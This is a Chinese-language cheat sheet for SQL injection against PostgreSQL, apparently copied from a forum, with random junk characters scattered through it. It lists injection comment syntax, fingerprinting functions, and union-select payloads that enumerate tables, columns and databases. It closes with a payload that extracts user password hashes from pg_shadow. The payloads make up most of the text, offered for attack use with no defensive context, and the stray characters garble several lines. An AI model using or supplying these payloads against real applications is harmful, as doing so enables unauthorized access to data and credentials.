结合了MSSQL MySQL Oracle的一些特点
0 @) N' e: h. o. H4 D8 u9 ?支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/; ?2 z$ J. w' C! Y4 v
连接符: %20 , + , /**/ 内置函数:
' h; p4 F0 x( v5 o7 Y& H Hcurrent_database() //当前数据库名& o* l* i& t7 {# i0 S4 V
session_user //会话用户
) | N; L% [2 xcurrent_user //当前数据库用户" L! h8 U) ~1 t$ l. V8 i; Y
user //当前用户
) V+ z- T7 f7 T) c1 pversion() //数据库版本 Union注射:; f8 w- Z0 `- N7 _4 b2 w8 k
order by n–
1 G k) W6 V* ~$ P3 ^7 Qand 1=2 union select null,null,null–7 S. K( t2 \- g7 E
and 1=2 union select ‘beach’,null,null–; Z" P: ?+ j5 F# }* R
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
) P a7 M* Y7 S& [: kgroup_concat(table_name)
; }: l( L' C/ F6 J/ pand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–+ G+ T3 b- Z: ^& H1 \8 m/ S& ]: a
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–' V, E4 I2 R: [
(老版本)% ^3 q% G6 o3 M* r
pg_class.oid对应pg_attribute.attrelid2 w/ F9 W* F5 n$ U
pg_class.relname表名
! [! p7 |0 h/ \* X$ ypg_attribute.attname字段名 select relname from pg_class获取表名 f# W! y E1 j! H0 C6 X1 f8 y0 x8 K$ ^
select oid from pg_class where 条件 获取参数
8 S) B, {$ Q8 S1 O+ t2 A+ I4 A- Wselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:% r/ [) x1 ]5 e4 _+ C/ a4 J
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表, Q* v4 k; T2 `# B. U/ n/ ]
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–6 U& y7 i. q4 b( ?0 L6 F! U
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名: G$ o& \, j7 z* j% v8 s
====================================================================== z* J5 o. p& D' R
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库& d8 h- S: L" z K$ v* e
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |